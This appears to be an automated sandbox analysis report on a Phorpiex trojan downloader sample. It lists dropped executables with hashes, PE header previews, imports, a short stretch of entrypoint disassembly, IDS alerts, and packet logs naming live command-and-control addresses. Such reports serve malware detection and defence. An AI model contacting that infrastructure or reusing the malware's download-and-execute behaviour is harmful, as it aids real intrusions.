Size (bytes):	22016
Entropy (8bit):	5.998352128147808
Encrypted:	false
SSDEEP:	384:AobmOaVs9vIgkUDsj8Uvw5dTxJjY5av8U9c+yweeeeeeeeWeeeee9MMp:maGOi8UvWdrAa0U1TeeeeeeeeWeeeee
MD5:	802C60DB52BD6C4DB699A74F63A00D8D
SHA1:	D9EA28E0576ED14D73A2B8B31933473C00C18EBA
SHA-256:	F63C124598C87BED71A1E5E6EC5A04E8AA2F18F94B21D690513C5490F7F85991
SHA-512:	71077859AD12A90A6883DDBB9CF9052173DE4D7008F674D87DDB5BEA1724204F1D66CB4736E8A6C249F223A38A296790A1FBE006BE317058787C5FFDBE0852B8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: I7ldmFS13W.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q'..5Fv^5Fv^5Fv^...^9Fv^<>.^6Fv^5Fw^UFv^<>.^7Fv^<>.^ Fv^<>.^0Fv^<>.^4Fv^Rich5Fv^................PE..L...._;f................."...0.......+.......@....@..................................~....@..................................N......................................................................0N..@............@...............................text.... .......".................. ..`.rdata.......@.......&..............@..@.data........`.......>..............@....rsrc................N..............@..@.reloc...............R..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2303012543.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1146722911.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	5.127434566848382
Encrypted:	false
SSDEEP:	96:zMPnhiWEdtD3Vcq+BID1dCDGJxGEdq2qhHC7tCEpUy:zMPhiWucq++D/CDGJxTdqthsi
MD5:	9B8A3FB66B93C24C52E9C68633B00F37
SHA1:	2A9290E32D1582217EAC32B977961ADA243ADA9A
SHA-256:	8A169CF165F635ECB6C55CACECB2C202C5FC6EF5FA82EC9CDB7D4B0300F35293
SHA-512:	117DA1EC9850212E4CAFCE6669C2CFFFC8078627F5C3CCDFD6A1BF3BEE2D351290071087A4C206578D23852FA5E69C2EBEFD71905C85B1EAED4220932BB71A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Joe Sandbox View:	Filename: I7ldmFS13W.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.Y/.../.../...&.`.-...&.f.....&.p.:....s..".../.......&.w.,...&.b.....Rich/...........................PE..L....s:f..................................... ....@..........................`............@..................................$..x....@.......................P..t....................................#..@............ ...............................text............................... ..`.rdata..x.... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..2....P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2711236308.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1146722911.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	5.127434566848382
Encrypted:	false
SSDEEP:	96:zMPnhiWEdtD3Vcq+BID1dCDGJxGEdq2qhHC7tCEpUy:zMPhiWucq++D/CDGJxTdqthsi
MD5:	9B8A3FB66B93C24C52E9C68633B00F37
SHA1:	2A9290E32D1582217EAC32B977961ADA243ADA9A
SHA-256:	8A169CF165F635ECB6C55CACECB2C202C5FC6EF5FA82EC9CDB7D4B0300F35293
SHA-512:	117DA1EC9850212E4CAFCE6669C2CFFFC8078627F5C3CCDFD6A1BF3BEE2D351290071087A4C206578D23852FA5E69C2EBEFD71905C85B1EAED4220932BB71A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.Y/.../.../...&.`.-...&.f.....&.p.:....s..".../.......&.w.,...&.b.....Rich/...........................PE..L....s:f..................................... ....@..........................`............@..................................$..x....@.......................P..t....................................#..@............ ...............................text............................... ..`.rdata..x.... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..2....P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\300129380.exe

Download File

Process:	C:\Windows\sysbrapsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.27490951248017
Encrypted:	false
SSDEEP:	96:PXoAr3+ZhXdzIqD0Mc6ygp4y2wNM+ZSxyqEG0/4qVA5JxGED2qpc2C7tCE1/St8:foaOZ3Rc6y5kSxWwqWJxTDtpw
MD5:	CAFD277C4132F5D0F202E7EA07A27D5C
SHA1:	72C8C16A94CCE56A3E01D91BC1276DAFC65B351D
SHA-256:	E5162FA594811F0F01FC76F4ACBD9FE99B2265DF9CFCBC346023F28775C19F1E
SHA-512:	7C87D1DEC61B78E0F223E8F9FEC019D96509813FA6D96129289AAB00B2D6F05BF91FE1FAFD680B7D9E746F4C2C8CBE48A3028BCAAD479048D00D79A19F71B196
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.."5..q5..q5..q<..q7..q<..q7..q<..q ..q.;.q>..q5..q...q<..q6..q<..q4..qRich5..q................PE..L...M56f............................v........ ....@..........................`.......u....@..................................)..x....@.......................P......................................@(..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@.......$..............@..@.reloc.."....P.......(..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3109025629.exe

Download File

Process:	C:\Windows\sysbrapsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	81928
Entropy (8bit):	7.9977582028689165
Encrypted:	true
SSDEEP:	1536:pm0MZsv8GxSYZCQGoPTBygAku+XJIE+ch9tYoKRcw+RLJznfl0:p56QIQGoLBygAkMc2oKRcwYBfl0
MD5:	2FF2BB06682812EEB76628BFBE817FBB
SHA1:	18E86614D0F4904E1FE97198CCDA34B25AAB7DAE
SHA-256:	985DA56FB594BF65D8BB993E8E37CD6E78535DA6C834945068040FAF67E91E7D
SHA-512:	5CD3B5A1E16202893B08C0AE70D3BCD9E7A49197EBF1DED08E01395202022B3B6C2D8837196EF0415FEA6497D928B44E03544B934F8E062DDBB6C6F79FB6F440
Malicious:	true
Preview:	NGS!.......`.%X6I.4#.(Nr....FT>:hNGJ.7....8.....! DX..m.SX.;....=....q...z(s Q..#w.+W`.JVj.ee.;p.~....a3.._....,...8h.:...p<c..'C+...H.@9....7ag'.....s.D.Hg.;.G.lI.x.2.~...."e.G...p.420.f$..-...>.No.7.#...#tv..[..d<.d....G......."..v5.#..c..\|...]...r.W.p....~.%r.[hZ._.8...l.l?l2,.... ..t.n..1K....q.WpA..e rs .....?!9.....s.,i.}...G..:.x}. M..]:w..T......U+.v.@V-.7.m.+....j!Lq.mJ.mVH...i......Y.....H..q...........[.J........G..........1..j\..Z.+J2[?...#..fzY...V...".9....(..U......W.I..J's..-OW.`....o.0.pm..R...Va.j..;......wm57....i..Wy....s..e.s.Z....5{(.\|.+.t.D.........o>.D.Qb.d..........W}...@.^=w%}..C?.2.EN4j..fi../...kOp.......p....Z.6.......I$.a.J....._../.0.2.....8.M...*J.0........y.!=...g[...v]c.@9...d.......^..H2..~l....(....p..c.-'.7J..a............g...P.....Y.....P....mt&./...btva...}..gfu;'........Z.~..[..V.n~5.R.k.M..@.q./.:..=..`:...G^..'C.T..<C.z.v...`.b=./>.&-U.\|....p......j......M.,../.fW..O.4].9..D...-\F.'.b..O.Q...W

C:\Users\user\AppData\Local\Temp\3193211493.exe

Download File

Process:	C:\Windows\sysbrapsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	100864
Entropy (8bit):	6.233380923101525
Encrypted:	false
SSDEEP:	1536:79H3LJvFmav82tiLZoS/0XOD7fiq4kzNEAAkHK:hHbCOqb/+i7fRekHK
MD5:	0A547347B0B9AF0290B263DFA8D71EBE
SHA1:	5FF176BFE5E0255A68C8E3D132AFBFF795A1FC1D
SHA-256:	B00AA26D9D7889613C7552CE6E17B0264788E24C6166EDCF68C47F209CA767F8
SHA-512:	8E3795BC46783F970C63C56D340E1EB47346BD3E7A9050ED7D1FAC77CDCF96E9EC2A955D56B60CA68556A160AB4C0116B2A51D0BBEE91C5DED72A3B2B81D5FB0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\3193211493.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.qj)..9)..9)..9 ..9...9Q..8+..9..B9+..9..@9(..9...9+..9..r9-..9)..9...9..d9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L....02f.............................u............@.........................................................................l).......................................................................................... ............................text............................... ..`.rdata..:9.......:..................@..@.data....w...@...d...&..............@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\330125677.exe

Download File

Process:	C:\Windows\sysbrapsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	5.068292259868492
Encrypted:	false
SSDEEP:	96:+5CDsnMkI2dyDHFcq+BIkAs7n3QJxGENUOq2qh3C7tCEI4LO:+52sMkIDcq++viQJxTNUOqthcI4K
MD5:	11D2F27FB4F0C424AB696573E79DB18C
SHA1:	D08ECE21A657BFA6EA4D2DB9B21FBB960D7F4331
SHA-256:	DEE9DCA027009B7D2885ACE7B968D2E9505A41B34756B08343338F8EF259E9BE
SHA-512:	A60DE41CAA6113430AB4AB944B800579F574F9B964C362F9C62BBFC1BD85DCCD01B628809367E15CFE6BAABA32C1255F8DB07E434FF7BCF5E90D9B3D1F6A4CD4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.Y/.../.../...&.`.-...&.f.....&.p.:....s..".../.......&.w.,...&.b.....Rich/...........................PE..L...X.8f............................@........ ....@..........................`......k.....@..................................$..x....@.......................P..`...................................P#..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\tbtnds.dat

Download File

Process:	C:\Windows\sysbrapsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.812492307333934
Encrypted:	false
SSDEEP:	96:gGTlz8/YYd48cUlqcFBtiA2ByJ5G+vt9OobxUql70/a0cpHtM:rzCXd48oQitA7G+iUGRcA
MD5:	139CC3E34A16B56A9EAE4A815668F40D
SHA1:	FC1AA1349D9821633A1CEF53C18A82D013A9B98B
SHA-256:	072C6AA931CE5EC96A84259636C353164407F355503193ED5A8DAC072E5F811D
SHA-512:	2BB58EFBF5CF368DAF1EB0DA303A5EFDB7E778D80D30363B1DB7D79036DF082191421FD82632BAE1BF855B820D5893868FAF3545A050D912CD62F06276D7848A
Malicious:	false
Preview:	.Fy.....Y..G....T5.j...._........#+q.....................$j.....[.......N....X..j......,.......Q....\/......_;.......#............._;....................[.:.....F5.....m..................F....W.......%..6....m>.O......Z..............Lv.......~....W..A....\/\|6....P........A.................I......yQ....%c6.....mJE+...._;.......".....N'......R..(....M,.......m.....T.H.....<.........E......."......q......dc.............x.c....._:.......#......^.......N'.j....%..%.....?L&...................>......%.........vR....Y..j....Y.xR.....u........i......>......?]>............X.N....]vc.............N&k.......I......................B......`......lM........8....\.......N'.)....%.........\|>....]..E......^.......9V.....x........C............._9.r....M.).....Y.......\/.3.....?F^......:.....-..z....PP.Y....%x......_.W...........Y.5n.............................Q.............x......_;......R.......g.M.....U.V.....Yj.:....N'.6....^.Ez....\\|......[\.g.....Y......Y.>.....;[.s......`.....

C:\Users\user\winploravr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1146722911.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.83680185257089
Encrypted:	false
SSDEEP:	192:7Jb/ex9kh6DP0kat+m2VhnHaxOn8JxThDiFGPkWSctFxhu0Rh:1b/ik+0ka8Hnzn8tbcWScphu
MD5:	D085F41FE497A63DC2A4882B485A2CAF
SHA1:	9DC111412129833495F19D7B8A5500CF7284AD68
SHA-256:	FB11B4E2D26812E26EA7428F3B0B9BB8A16814188250FA60697C7AEC40A49BD0
SHA-512:	ED4D8E297094248FB536154ED0427F4CC1832F339CE29D0F782971EDE42FA2B9E5F953F73E71D0CFC026E5FD2EC0F7062410AF359FD940A14F277ADCA37FC106
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.<...R...R...R.<q)...R.......R...S.\|.R......R......R......R......R.Rich..R.................PE..L.....)f.............................!.......0....@.......................................@..................................9.......`.......................p......................................(9..@............0...............................text...J........................... ..`.rdata.......0......................@..@.data........P.......0..............@....rsrc........`.......2..............@..@.reloc.......p.......6..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\sysbrapsvc.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	100864
Entropy (8bit):	6.233380923101525
Encrypted:	false
SSDEEP:	1536:79H3LJvFmav82tiLZoS/0XOD7fiq4kzNEAAkHK:hHbCOqb/+i7fRekHK
MD5:	0A547347B0B9AF0290B263DFA8D71EBE
SHA1:	5FF176BFE5E0255A68C8E3D132AFBFF795A1FC1D
SHA-256:	B00AA26D9D7889613C7552CE6E17B0264788E24C6166EDCF68C47F209CA767F8
SHA-512:	8E3795BC46783F970C63C56D340E1EB47346BD3E7A9050ED7D1FAC77CDCF96E9EC2A955D56B60CA68556A160AB4C0116B2A51D0BBEE91C5DED72A3B2B81D5FB0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysbrapsvc.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.qj)..9)..9)..9 ..9...9Q..8+..9..B9+..9..@9(..9...9+..9..r9-..9)..9...9..d9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L....02f.............................u............@.........................................................................l).......................................................................................... ............................text............................... ..`.rdata..:9.......:..................@..@.data....w...@...d...&..............@...................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\winploravr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1146722911.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.83680185257089
Encrypted:	false
SSDEEP:	192:7Jb/ex9kh6DP0kat+m2VhnHaxOn8JxThDiFGPkWSctFxhu0Rh:1b/ik+0ka8Hnzn8tbcWScphu
MD5:	D085F41FE497A63DC2A4882B485A2CAF
SHA1:	9DC111412129833495F19D7B8A5500CF7284AD68
SHA-256:	FB11B4E2D26812E26EA7428F3B0B9BB8A16814188250FA60697C7AEC40A49BD0
SHA-512:	ED4D8E297094248FB536154ED0427F4CC1832F339CE29D0F782971EDE42FA2B9E5F953F73E71D0CFC026E5FD2EC0F7062410AF359FD940A14F277ADCA37FC106
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.<...R...R...R.<q)...R.......R...S.\|.R......R......R......R......R.Rich..R.................PE..L.....)f.............................!.......0....@.......................................@..................................9.......`.......................p......................................(9..@............0...............................text...J........................... ..`.rdata.......0......................@..@.data........P.......0..............@....rsrc........`.......2..............@..@.reloc.......p.......6..............@..B........................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.233380923101525
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe
File size:	100'864 bytes
MD5:	0a547347b0b9af0290b263dfa8d71ebe
SHA1:	5ff176bfe5e0255a68c8e3d132afbff795a1fc1d
SHA256:	b00aa26d9d7889613c7552ce6e17b0264788e24c6166edcf68c47f209ca767f8
SHA512:	8e3795bc46783f970c63c56d340e1eb47346bd3e7a9050ed7d1fac77cdcf96e9ec2a955d56b60ca68556a160ab4c0116b2a51d0bbee91c5ded72a3b2b81d5fb0
SSDEEP:	1536:79H3LJvFmav82tiLZoS/0XOD7fiq4kzNEAAkHK:hHbCOqb/+i7fRekHK
TLSH:	ADA375839461B47FEFE98AB991F18E68542CBB75138848E391502657C7243FFFCB9026
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.qj)..9)..9)..9 ..9...9Q..8+..9..B9+..9..@9(..9...9+..9..r9-..9)..9...9..d9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x407500
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x663230CC [Wed May 1 12:08:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2e23372b9869b74c90162a6fda4f170d

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000FF0h
push 000007D0h
call dword ptr [0041013Ch]
push 0041431Ch
push 00000000h
push 00000000h
call dword ptr [00410098h]
mov dword ptr [ebp-00000E5Ch], eax
call dword ptr [0041009Ch]
cmp eax, 000000B7h
jne 00007FD23523C9CAh
push 00000000h
call dword ptr [004100A0h]
mov dword ptr [ebp-0000062Ch], 00000000h
mov dword ptr [ebp-0000041Ch], 00000000h
mov dword ptr [ebp-0000083Ch], 00000001h
mov dword ptr [ebp-00000210h], 00000004h
push 00000105h
push 0041AA40h
push 00000000h
call dword ptr [004100B0h]
push 0041AA40h
call dword ptr [0041017Ch]
mov dword ptr [ebp-0000020Ch], eax
push 0041AA40h
push 004112D8h
lea eax, dword ptr [ebp-00000208h]
push eax
call dword ptr [0041019Ch]
add esp, 0Ch
lea ecx, dword ptr [ebp-00000208h]
push ecx
call dword ptr [004100C0h]
push 00000104h
lea edx, dword ptr [ebp-00000E58h]
push edx
push 00411300h
call dword ptr [004100A4h]

Rich Headers

Programming Language:

[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1296c	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x320	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe7ca	0xe800	1aca5c8a58cabff1a9ac7bde70c48075	False	0.46853111530172414	data	6.132634994891317	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x393a	0x3a00	549718be2c57075c01e894ac5660f4c2	False	0.44396551724137934	data	5.481279103860119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x14000	0x7700	0x6400	e9d1d3f5f7e251daf64080999c1d6da7	False	0.121640625	data	3.791264499968801	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
WS2_32.dll	gethostname, recvfrom, setsockopt, closesocket, htons, shutdown, WSAStartup, connect, WSAWaitForMultipleEvents, listen, WSASocketA, WSACreateEvent, WSAGetOverlappedResult, WSAEventSelect, WSAEnumNetworkEvents, WSAGetLastError, WSASend, WSARecv, WSACloseEvent, accept, getpeername, getsockname, inet_addr, gethostbyname, inet_ntoa, socket, bind, sendto, ioctlsocket, recv, send
SHLWAPI.dll	StrStrIA, StrCmpNW, StrStrW, PathFileExistsW, StrChrA, PathFindFileNameW, StrCmpNIA, PathMatchSpecW
urlmon.dll	URLDownloadToFileW
WININET.dll	HttpOpenRequestA, HttpSendRequestA, InternetConnectA, InternetCloseHandle, DeleteUrlCacheEntry, InternetReadFile, InternetOpenA, InternetCrackUrlA, HttpAddRequestHeadersA, HttpQueryInfoA, InternetOpenUrlA, DeleteUrlCacheEntryW, InternetOpenUrlW, InternetOpenW
ntdll.dll	strlen, isdigit, isalpha, memcpy, memset, NtQueryVirtualMemory, RtlUnwind, _chkstk, _aulldiv, wcslen, wcscmp, _allshl, _aullshr, strstr, strcmp, memmove, memcmp, RtlTimeToSecondsSince1980, NtQuerySystemTime, mbstowcs
msvcrt.dll	srand, rand, _vscprintf
KERNEL32.dll	GetQueuedCompletionStatus, PostQueuedCompletionStatus, GetSystemInfo, lstrcmpW, SetEvent, CreateProcessW, GetLocaleInfoA, DeleteCriticalSection, GetCurrentThread, GetThreadPriority, SetThreadPriority, GetCurrentProcess, DuplicateHandle, IsBadReadPtr, InterlockedExchangeAdd, InterlockedIncrement, WaitForSingleObject, InterlockedDecrement, InterlockedExchange, HeapFree, HeapValidate, HeapReAlloc, GetProcessHeaps, HeapCreate, HeapSetInformation, GetCurrentProcessId, HeapAlloc, CreateMutexA, GetLastError, ExitProcess, ExpandEnvironmentStringsW, CreateEventA, CreateThread, GetModuleFileNameW, GetVolumeInformationW, GetDiskFreeSpaceExW, SetFileAttributesW, DeleteFileW, CopyFileW, lstrcmpiW, CreateDirectoryW, FindFirstFileW, CreateIoCompletionPort, MoveFileExW, FindNextFileW, FindClose, RemoveDirectoryW, GetLogicalDrives, GetDriveTypeW, QueryDosDeviceW, lstrcpyW, WriteFile, FlushFileBuffers, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, CreateFileW, CreateFileMappingW, MapViewOfFile, GlobalUnlock, GlobalLock, GlobalAlloc, lstrlenA, lstrlenW, lstrcpynW, MultiByteToWideChar, ExitThread, GetTickCount, Sleep, GetModuleHandleW, CloseHandle, UnmapViewOfFile, GetFileSize
USER32.dll	RegisterClassExW, CreateWindowExW, GetMessageA, TranslateMessage, wsprintfW, DefWindowProcA, ChangeClipboardChain, RegisterRawInputDevices, GetClipboardData, DispatchMessageA, EmptyClipboard, SetClipboardData, CloseClipboard, IsClipboardFormatAvailable, SendMessageA, SetWindowLongW, SetClipboardViewer, GetWindowLongW, wsprintfA, wvsprintfA, OpenClipboard
ADVAPI32.dll	CryptReleaseContext, RegQueryValueExW, RegOpenKeyExW, RegOpenKeyExA, RegCreateKeyExW, CryptAcquireContextW, CryptGenRandom, RegCloseKey, RegSetValueExW, RegSetValueExA
SHELL32.dll	ShellExecuteW
ole32.dll	CoInitializeEx, CoUninitialize, CoInitialize, CoCreateInstance
OLEAUT32.dll	SysFreeString, SysAllocString

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/08/24-15:22:40.436270	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	53100	40500	192.168.2.8	100.82.121.252
05/08/24-15:22:45.471815	TCP	2837677	ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	80	49713	185.215.113.66	192.168.2.8
05/08/24-15:22:46.732432	TCP	2837677	ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	80	49715	185.215.113.66	192.168.2.8
05/08/24-15:22:49.024024	TCP	2837677	ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	80	49717	185.215.113.66	192.168.2.8
05/08/24-15:22:48.428846	TCP	2837677	ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	80	49716	185.215.113.66	192.168.2.8
05/08/24-15:22:30.416735	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	53100	40500	192.168.2.8	189.222.182.86
05/08/24-15:22:35.420978	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	53100	40500	192.168.2.8	2.133.220.58
05/08/24-15:22:25.401623	UDP	2044077	ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC	53100	40500	192.168.2.8	10.102.10.21

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 8, 2024 15:22:19.443481922 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:19.784830093 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:19.784917116 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:19.785147905 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:19.962255955 CEST	49709	40500	192.168.2.8	37.151.73.50
May 8, 2024 15:22:20.125612974 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126646996 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126723051 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126725912 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126769066 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126774073 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126806974 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126821041 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126826048 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126857042 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126866102 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126892090 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126908064 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126931906 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126935005 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126945972 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.126949072 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126966953 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.126991987 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.127024889 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.127063990 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.130441904 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.130460978 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467386007 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467408895 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467422009 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467436075 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467442989 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467451096 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467464924 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467483997 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467489958 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467495918 CEST	80	49708	185.215.113.66	192.168.2.8
